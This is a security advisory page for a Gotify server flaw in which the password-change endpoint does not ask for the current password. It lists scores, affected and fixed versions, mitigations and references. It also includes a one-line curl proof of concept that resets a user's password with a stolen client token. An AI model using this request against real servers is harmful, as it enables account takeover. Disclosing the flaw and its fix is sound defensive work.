CVE-2026-102603GHSA-3hcj-9m7p-wwm9GO-2026-6772
github.com/gotify/server/v2: Gotify: Insufficiently Protected Password Change endpoint
gotify github.com/gotify/server/v2goLibraries & packages
CVSS
5.3MediumExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)0.34%Chance of exploitation activity in the next 30 days, higher than 25% of CVEs. Scored 23 Oct 2026FIRST EPSS
What fixes it
- 3.0.0github.com/gotify/server/v3, goGitHub
go get github.com/gotify/server/v3@v3.0.0 - 3.0.0github.com/gotify/server/v3, GoOSV
go get github.com/gotify/server/v3@v3.0.0
A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.
Description
The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.
PoC
# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"
curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
-H "Content-Type: application/json" \
-d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OKMitigation
- Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
- Restrict access to the state-changing endpoints under
/userand/current/userto trusted networks.
Text from GitHub Advisory Database
Affected versions 5
- github.com/gotify/server/v2, go<= 2.9.1GitHub
- github.com/gotify/server/v3, go< 3.0.0GitHub
- serveraffected: < 3.0.0CVE List
- github.com/gotify/server/v2, Gofrom first release, through 2.9.1OSV
- github.com/gotify/server/v3, Gofrom first release, fixed in 3.0.0OSV
References 6
- github.com/gotify/server/commit/a8744482c668e07a61798573ec8e17bd3f6009f9Fixvia CVE List
- github.com/gotify/server/releases/tag/v3.0.0Fixvia CVE List
- github.com/advisories/GHSA-3hcj-9m7p-wwm9Advisoryvia GitHub
- github.com/gotify/server/security/advisories/GHSA-3hcj-9m7p-wwm9Exploitvia CVE List
- nvd.nist.gov/vuln/detail/CVE-2026-102603Referencevia GitHub
- github.com/gotify/server/pull/952Referencevia CVE List